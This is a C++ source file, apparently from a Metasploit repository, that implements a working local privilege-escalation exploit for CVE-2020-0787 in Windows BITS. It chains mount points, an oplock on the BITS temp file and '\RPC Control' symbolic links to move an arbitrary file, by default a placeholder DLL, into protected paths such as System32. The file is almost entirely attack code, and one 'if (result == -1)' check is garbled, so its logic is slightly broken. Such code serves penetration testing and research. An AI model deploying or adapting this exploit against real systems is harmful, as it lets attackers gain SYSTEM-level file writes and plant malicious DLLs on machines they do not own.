Files
metasploit-gs/external/source/exploits/CVE-2020-0787/BitsArbitraryFileMove/BitsArbitraryFileMove.cpp
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

563 lines
18 KiB
C++
Raw Normal View History

// Windows
#include <iostream>
// BitsArbitraryFileMove
#include "BitsArbitraryFileMove.h"
#include "CBitsCom.h"
// Symbolic link testing tools
#include "..\CommonUtils\CommonUtils.h"
#include "..\CommonUtils\ReparsePoint.h"
#include "..\CommonUtils\FileOpLock.h"
#include "..\CommonUtils\FileSymlink.h"
BitsArbitraryFileMove::BitsArbitraryFileMove()
{
m_bCustomSourceFile = FALSE;
ZeroMemory(m_wszWorkspaceDirPath, MAX_PATH * sizeof(WCHAR));
ZeroMemory(m_wszMountpointDirPath, MAX_PATH * sizeof(WCHAR));
ZeroMemory(m_wszBaitDirPath, MAX_PATH * sizeof(WCHAR));
ZeroMemory(m_wszSourceFilePath, MAX_PATH * sizeof(WCHAR));
ZeroMemory(m_wszTargetFilePath, MAX_PATH * sizeof(WCHAR));
ZeroMemory(m_wszBitsLocalFileName, MAX_FILENAME * sizeof(WCHAR));
ZeroMemory(m_wszBitsTempFileName, MAX_FILENAME * sizeof(WCHAR));
ZeroMemory(m_wszBitsTempFilePath, MAX_PATH * sizeof(WCHAR));
}
BitsArbitraryFileMove::~BitsArbitraryFileMove()
{
CleanUp();
}
BOOL BitsArbitraryFileMove::Run(LPCWSTR pwszSrcFile, LPCWSTR pwszDstFile)
{
WCHAR wszMsg[MAX_MSG];
// ========================================================================
// Check whether target file already exists
// ========================================================================
StringCchCat(m_wszTargetFilePath, MAX_PATH, pwszDstFile);
if (TargetFileExists())
{
wprintf_s(L"[-] Target file '%ls' already exists. Aborting.\n", m_wszTargetFilePath);
return FALSE;
}
// ========================================================================
// Prepare environment
// ========================================================================
if (!PrepareWorkspace())
{
wprintf_s(L"[-] BitsArbitraryFileMove::PrepareWorkspace() failed.\n");
return FALSE;
}
wprintf_s(L"[*] Workspace: '%ls'.\n", m_wszWorkspaceDirPath);
// ========================================================================
// Handle source file
// If a source file path is provided, set it as the source file path for
// the exploit. Otherwise, write embedded DLL in the workspace.
// ========================================================================
if (pwszSrcFile == NULL)
{
swprintf_s(m_wszSourceFilePath, MAX_PATH, L"%ls%ls", m_wszWorkspaceDirPath, L"FakeDll.dll");
if (WriteSourceFile())
{
if (DEBUG) { wprintf_s(L"[DEBUG] Created 64-bit DLL '%ls'.\n", m_wszSourceFilePath); }
}
else
{
wprintf_s(L"[-] BitsArbitraryFileMove::WriteEmbeddedDll() failed.\n");
return FALSE;
}
}
else
{
m_bCustomSourceFile = TRUE;
StringCchCat(m_wszSourceFilePath, MAX_PATH, pwszSrcFile);
}
wprintf_s(L"[*] Source file: '%ls'.\n", m_wszSourceFilePath);
wprintf_s(L"[*] Destination file: '%ls'.\n", m_wszTargetFilePath);
// ========================================================================
// Create a mountpoint from MountPointDir to BaitDir
// ========================================================================
if (!ReparsePoint::CreateMountPoint(m_wszMountpointDirPath, m_wszBaitDirPath, L""))
{
wprintf_s(L"[-] ReparsePoint::CreateMountPoint('%ls') failed (Err: %d).\n", m_wszMountpointDirPath, ReparsePoint::GetLastError());
return FALSE;
}
wprintf_s(L"[*] Created Mount Point: '%ls' -> '%ls'.\n", m_wszMountpointDirPath, m_wszBaitDirPath);
// ========================================================================
// BITS - Create Group, create a Job and add file
// ========================================================================
CBitsCom cBitsCom;
WCHAR wszJobLocalFilename[MAX_PATH];
StringCchCat(m_wszBitsLocalFileName, MAX_FILENAME, L"test.txt");
ZeroMemory(wszJobLocalFilename, MAX_PATH * sizeof(WCHAR));
swprintf_s(wszJobLocalFilename, MAX_PATH, L"%ls%ls", m_wszMountpointDirPath, m_wszBitsLocalFileName);
if (DEBUG) { wprintf_s(L"[DEBUG] Using Local File '%ls'\n", wszJobLocalFilename); }
if (cBitsCom.PrepareJob(wszJobLocalFilename) != BITSCOM_ERR_SUCCESS)
{
wprintf_s(L"[-] CBitsCom::PrepareJob('%ls') failed.\n", wszJobLocalFilename);
return FALSE;
}
wprintf_s(L"[*] Created BITS job with local file: '%ls'.\n", wszJobLocalFilename);
// ========================================================================
// Find the TMP file created by BITS
// ========================================================================
Sleep(3000);
if (!FindBitsTempFile())
{
wprintf_s(L"[-] BitsArbitraryFileMove::FindBitsTempFile() failed.\n");
return FALSE;
}
ZeroMemory(wszMsg, MAX_MSG * sizeof(WCHAR));
swprintf_s(wszMsg, MAX_MSG, L"[+] Found BITS temp file: '%ls'\n", m_wszBitsTempFileName);
PrintSuccess(wszMsg);
// ========================================================================
// Reconstruct the full path of the TMP file
// ========================================================================
int result = swprintf_s(m_wszBitsTempFilePath, MAX_PATH, L"%ls%ls", m_wszBaitDirPath, m_wszBitsTempFileName);
if (result == -1)
if (DEBUG) { wprintf_s(L"[DEBUG] BITS temp file path: '%ls'\n", m_wszBitsTempFilePath); }
// ========================================================================
// Set an oplcok on the temp file
// ========================================================================
FileOpLock* oplock = nullptr;
//oplock = FileOpLock::CreateLock(m_wszBitsTempFilePath, L"", HandleOplock);
oplock = FileOpLock::CreateLock(m_wszBitsTempFilePath, L"", nullptr);
if (oplock == nullptr)
{
wprintf_s(L"[-] FileOpLock::CreateLock('%ls') failed.\n", m_wszBitsTempFilePath);
return FALSE;
}
wprintf_s(L"[*] OpLock set on '%ls'.\n", m_wszBitsTempFilePath);
// ========================================================================
// Resume BITS job and wait for the oplock to be triggered
// ========================================================================
if (cBitsCom.ResumeJob() != BITSCOM_ERR_SUCCESS)
{
wprintf_s(L"[-] BitsCom::ResumeJob() failed.\n");
delete oplock;
return FALSE;
}
wprintf_s(L"[*] BITS job has been resumed. Waiting for the oplock to be triggered...\n");
oplock->WaitForLock(INFINITE);
PrintSuccess(L"[+] OpLock triggered. Switching mountpoint.\n");
// ========================================================================
// Create Mount Point to \RPC Control
// ========================================================================
// --- Delete previous mount point ---
if (!ReparsePoint::DeleteMountPoint(m_wszMountpointDirPath))
{
wprintf_s(L"[-] ReparsePoint::DeleteMountPoint('%ls') failed (Error: %ls).\n", m_wszMountpointDirPath, GetErrorMessage().c_str());
delete oplock;
return FALSE;
}
if (DEBUG) { wprintf_s(L"[DEBUG] Deleted mountpoint: '%ls'.\n", m_wszMountpointDirPath); }
// --- Create mountpoint to \RPC Control ---
const WCHAR* wszBaseObjDir = L"\\RPC Control";
if (!ReparsePoint::CreateMountPoint(m_wszMountpointDirPath, wszBaseObjDir, L""))
{
wprintf_s(L"[-] ReparsePoint::CreateMountPoint('%ls') failed (Err: %d).\n", m_wszMountpointDirPath, ReparsePoint::GetLastError());
delete oplock;
return FALSE;
}
if (DEBUG) { wprintf_s(L"[DEBUG] Created mountpoint: '%ls' -> '%ls'.\n", m_wszMountpointDirPath, wszBaseObjDir); }
// ========================================================================
// Create symlinks
// ========================================================================
WCHAR wszLinkName[MAX_PATH];
WCHAR wszLinkTarget[MAX_PATH];
// --- TMP file -> source DLL ---
ZeroMemory(wszLinkName, MAX_PATH * sizeof(WCHAR));
ZeroMemory(wszLinkTarget, MAX_PATH * sizeof(WCHAR));
swprintf_s(wszLinkName, MAX_PATH, L"%ls\\%ls", wszBaseObjDir, m_wszBitsTempFileName); // -> '\RPC Control\BIT84A4.tmp'
swprintf_s(wszLinkTarget, MAX_PATH, L"\\??\\%ls", m_wszSourceFilePath); // -> '\??\C:\Users\lab-user\AppData\Local\Temp\workspace\FakeDll.dll'
HANDLE hSymlinkSource = CreateSymlink(nullptr, wszLinkName, wszLinkTarget);
if (hSymlinkSource == nullptr)
{
wprintf_s(L"[-] CreateSymlink('%ls') failed.\n", wszLinkName);
delete oplock;
return FALSE;
}
wprintf_s(L"[*] Created Symlink: '%ls' -> '%ls'\n", wszLinkName, wszLinkTarget);
// --- Local file -> target DLL ---
ZeroMemory(wszLinkName, MAX_PATH * sizeof(WCHAR));
ZeroMemory(wszLinkTarget, MAX_PATH * sizeof(WCHAR));
swprintf_s(wszLinkName, MAX_PATH, L"%ls\\%ls", wszBaseObjDir, m_wszBitsLocalFileName); // -> '\RPC Control\test.txt'
swprintf_s(wszLinkTarget, MAX_PATH, L"\\??\\%ls", m_wszTargetFilePath); // -> '\??\C:\Windows\System32\FakeDll.dll'
HANDLE hSymlinkDestination = CreateSymlink(nullptr, wszLinkName, wszLinkTarget);
if (hSymlinkDestination == nullptr)
{
wprintf_s(L"[-] CreateSymlink('%ls') failed.\n", wszLinkName);
CloseHandle(hSymlinkSource);
delete oplock;
return FALSE;
}
wprintf_s(L"[*] Created Symlink: '%ls' -> '%ls'\n", wszLinkName, wszLinkTarget);
// ========================================================================
// Release oplock and complete job
// ========================================================================
wprintf_s(L"[*] Releasing OpLock and waiting for the job to complete...\n");
delete oplock;
if (cBitsCom.CompleteJob() != BITSCOM_ERR_SUCCESS)
{
wprintf_s(L"[-] BitsCom::CompleteJob() failed.\n");
CloseHandle(hSymlinkSource);
CloseHandle(hSymlinkDestination);
return FALSE;
}
if (DEBUG) { wprintf_s(L"[DEBUG] CBitsCom::CompleteJob() OK\n"); }
CloseHandle(hSymlinkSource);
CloseHandle(hSymlinkDestination);
// ========================================================================
// Check whether target DLL exists
// ========================================================================
if (!TargetFileExists())
{
wprintf_s(L"[-] Target file '%ls' doesn't exist. Exploit failed.", m_wszTargetFilePath);
return FALSE;
}
ZeroMemory(wszMsg, MAX_MSG * sizeof(WCHAR));
swprintf_s(wszMsg, MAX_MSG, L"[+] Found target file '%ls'. Exploit successfull!\n", m_wszTargetFilePath);
PrintSuccess(wszMsg);
return TRUE;
}
BOOL BitsArbitraryFileMove::PrepareWorkspace()
{
/*
0) Prepare workspace
Create C:\workspace\
Create C:\workspace\mountpoint\
Create C:\workspace\bait\
<DIR> C:\workspace
|__ <DIR> mountpoint
|__ <DIR> redir
*/
DWORD dwRet = 0;
WCHAR wszTempPathBuffer[MAX_PATH];
// ========================================================================
// Create a workspace
// ========================================================================
dwRet = GetTempPath(MAX_PATH, wszTempPathBuffer);
if (dwRet > MAX_PATH || (dwRet == 0))
{
wprintf_s(L"[-] GetTempPath() failed (Err: %d).\n", GetLastError());
ZeroMemory(wszTempPathBuffer, MAX_PATH);
StringCchCat(wszTempPathBuffer, MAX_PATH, L"C:\\workspace\\");
}
else
{
if (wszTempPathBuffer[wcslen(wszTempPathBuffer) - 1] != '\\')
{
StringCchCat(wszTempPathBuffer, MAX_PATH, L"\\");
}
StringCchCat(wszTempPathBuffer, MAX_PATH, L"workspace\\");
}
if (!CreateDirectory(wszTempPathBuffer, nullptr))
{
dwRet = GetLastError();
if (dwRet == ERROR_ALREADY_EXISTS)
{
wprintf_s(L"[!] The directory '%ls' already exists.\n", wszTempPathBuffer);
}
else
{
wprintf_s(L"[-] CreateDirectory('%ls') failed (Err: %d).\n", wszTempPathBuffer, dwRet);
}
return FALSE;
}
StringCchCat(m_wszWorkspaceDirPath, MAX_PATH, wszTempPathBuffer);
if (DEBUG) { wprintf_s(L"[DEBUG] Using Workspace Directory '%ls'.\n", m_wszWorkspaceDirPath); }
// ========================================================================
// Create a directory for the mount point
// ========================================================================
ZeroMemory(wszTempPathBuffer, MAX_PATH);
StringCchCat(wszTempPathBuffer, MAX_PATH, m_wszWorkspaceDirPath);
StringCchCat(wszTempPathBuffer, MAX_PATH, L"mountpoint\\");
if (!CreateDirectory(wszTempPathBuffer, nullptr))
{
wprintf_s(L"[-] CreateDirectory('%ls') failed (Err: %d).\n", wszTempPathBuffer, GetLastError());
return FALSE;
}
StringCchCat(m_wszMountpointDirPath, MAX_PATH, wszTempPathBuffer);
if (DEBUG) { wprintf_s(L"[DEBUG] Using Mount Point Directory '%ls'.\n", m_wszMountpointDirPath); }
// ========================================================================
// Create a "bait" directory for the TMP file
// ========================================================================
ZeroMemory(wszTempPathBuffer, MAX_PATH);
StringCchCat(wszTempPathBuffer, MAX_PATH, m_wszWorkspaceDirPath);
StringCchCat(wszTempPathBuffer, MAX_PATH, L"bait\\");
if (!CreateDirectory(wszTempPathBuffer, nullptr))
{
wprintf_s(L"[-] CreateDirectory('%ls') failed (Err: %d).\n", wszTempPathBuffer, GetLastError());
return FALSE;
}
StringCchCat(m_wszBaitDirPath, MAX_PATH, wszTempPathBuffer);
if (DEBUG) { wprintf_s(L"[DEBUG] Using Bait Directory '%ls'.\n", m_wszBaitDirPath); }
return TRUE;
}
BOOL BitsArbitraryFileMove::WriteSourceFile()
{
HANDLE hFile;
BOOL bErrorFlag = FALSE;
const char* fileContent = "foo123\r\n";
DWORD dwBytesToWrite = (DWORD)strlen(fileContent);
DWORD dwBytesWritten = 0;
hFile = CreateFile(m_wszSourceFilePath, GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
wprintf_s(L"[-] CreateFile('%ls') failed (Err: %d).\n", m_wszSourceFilePath, GetLastError());
return FALSE;
}
bErrorFlag = WriteFile(hFile, fileContent, dwBytesToWrite, &dwBytesWritten, NULL);
if (FALSE == bErrorFlag)
{
wprintf_s(L"[-] WriteFile('%ls') failed (Err: %d).\n", m_wszSourceFilePath, GetLastError());
return FALSE;
}
else
{
if (dwBytesWritten != dwBytesToWrite)
{
wprintf_s(L"[-] WriteFile('%ls') failed (Err: %d).\n", m_wszSourceFilePath, GetLastError());
return FALSE;
}
}
CloseHandle(hFile);
return TRUE;
}
BOOL BitsArbitraryFileMove::FindBitsTempFile()
{
WIN32_FIND_DATA structWin32FindData;
WCHAR wszSearchPath[MAX_PATH];
HANDLE hRes;
ZeroMemory(wszSearchPath, MAX_PATH * sizeof(WCHAR));
StringCchCat(wszSearchPath, MAX_PATH, m_wszBaitDirPath);
StringCchCat(wszSearchPath, MAX_PATH, L"BIT*.tmp");
hRes = FindFirstFile(wszSearchPath, &structWin32FindData);
if (hRes == INVALID_HANDLE_VALUE)
{
wprintf_s(L"[-] FindFirstFile('%ls') failed (Err: %d).\n", wszSearchPath, GetLastError());
return FALSE;
}
StringCchCat(m_wszBitsTempFileName, MAX_FILENAME, structWin32FindData.cFileName);
FindClose(hRes); // This was incorrectly CloseHandle() before which is not the right call to make to close this handle.
return TRUE;
}
BOOL BitsArbitraryFileMove::TargetFileExists()
{
HANDLE hProcess;
BOOL bWow64Process;
PVOID pOldValue = nullptr;
BOOL bRes = FALSE;
hProcess = GetCurrentProcess();
if (!IsWow64Process(hProcess, &bWow64Process))
{
wprintf_s(L"[!] IsWow64Process() failed (Err: %d).\n", GetLastError());
}
if (bWow64Process)
{
// Disable WOW64 file system redirector
if (!Wow64DisableWow64FsRedirection(&pOldValue))
{
wprintf_s(L"[!] Wow64DisableWow64FsRedirection() failed (Err: %d).\n", GetLastError());
}
}
// Check whether target file exists
if (GetFileAttributes(m_wszTargetFilePath) != INVALID_FILE_ATTRIBUTES)
{
if (DEBUG) { wprintf_s(L"[DEBUG] Found target file '%ls'.\n", m_wszTargetFilePath); }
bRes = TRUE;
}
else
{
if (DEBUG) { wprintf_s(L"[DEBUG] Target file '%ls' doesn't exist.\n", m_wszTargetFilePath); }
}
if (bWow64Process)
{
// Enable WOW64 file system redirector
if (!Wow64RevertWow64FsRedirection(pOldValue))
{
wprintf_s(L"[!] Wow64RevertWow64FsRedirection() failed (Err: %d).\n", GetLastError());
}
}
CloseHandle(hProcess);
return bRes;
}
void BitsArbitraryFileMove::CleanUp()
{
wprintf_s(L"[*] Performing clean-up...\n");
// Delete BITS temp file
if (wcslen(m_wszBitsTempFilePath) > 0)
{
if (GetFileAttributes(m_wszBitsTempFilePath) != INVALID_FILE_ATTRIBUTES)
{
if (!DeleteFile(m_wszBitsTempFilePath))
wprintf_s(L"[!] DeleteFile('%ls') failed (Err: %d).\n", m_wszBitsTempFilePath, GetLastError());
else
if (DEBUG) { wprintf_s(L"[DEBUG] Deleted file '%ls'.\n", m_wszBitsTempFilePath); }
}
}
// Delete the source file if it was created by us
if (!m_bCustomSourceFile)
{
if (GetFileAttributes(m_wszSourceFilePath) != INVALID_FILE_ATTRIBUTES)
{
if (!DeleteFile(m_wszSourceFilePath))
wprintf_s(L"[!] DeleteFile('%ls') failed (Err: %d).\n", m_wszSourceFilePath, GetLastError());
else
if (DEBUG) { wprintf_s(L"[DEBUG] Deleted file '%ls'.\n", m_wszSourceFilePath); }
}
}
// Remove mount point directory
if (wcslen(m_wszMountpointDirPath) > 0)
{
if (GetFileAttributes(m_wszMountpointDirPath) != INVALID_FILE_ATTRIBUTES)
{
// Delete Mount Point
if (!ReparsePoint::DeleteMountPoint(m_wszMountpointDirPath))
wprintf_s(L"[!] ReparsePoint::DeleteMountPoint('%ls') failed.\n", m_wszMountpointDirPath);
else
if (DEBUG) { wprintf_s(L"[DEBUG] Deleted Mount Point '%ls'.\n", m_wszMountpointDirPath); }
// Remove directory
if (!RemoveDirectory(m_wszMountpointDirPath))
wprintf_s(L"[!] RemoveDirectory('%ls') failed (Err: %d).\n", m_wszMountpointDirPath, GetLastError());
else
if (DEBUG) { wprintf_s(L"[DEBUG] Removed directory '%ls'.\n", m_wszMountpointDirPath); }
}
}
// Remove bait directory
if (wcslen(m_wszBaitDirPath) > 0)
{
if (GetFileAttributes(m_wszBaitDirPath) != INVALID_FILE_ATTRIBUTES)
{
if (!RemoveDirectory(m_wszBaitDirPath)) {
wprintf_s(L"[!] RemoveDirectory('%ls') failed (Err: %d).\n", m_wszBaitDirPath, GetLastError());
}
else {
if (DEBUG) { wprintf_s(L"[DEBUG] Removed directory '%ls'.\n", m_wszBaitDirPath); }
}
}
}
// Remove workspace directory
if (wcslen(m_wszWorkspaceDirPath) > 0)
{
if (GetFileAttributes(m_wszWorkspaceDirPath) != INVALID_FILE_ATTRIBUTES)
{
if (!RemoveDirectory(m_wszWorkspaceDirPath)) {
wprintf_s(L"[!] RemoveDirectory('%ls') failed (Err: %d).\n", m_wszWorkspaceDirPath, GetLastError());
}
else {
if (DEBUG) { wprintf_s(L"[DEBUG] Removed directory '%ls'.\n", m_wszWorkspaceDirPath); }
}
}
}
return;
}
void BitsArbitraryFileMove::PrintSuccess(LPCWSTR pwszMsg)
{
HANDLE hConsole;
hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
SetConsoleTextAttribute(hConsole, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
wprintf_s(L"%ls", pwszMsg);
SetConsoleTextAttribute(hConsole, FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_RED);
}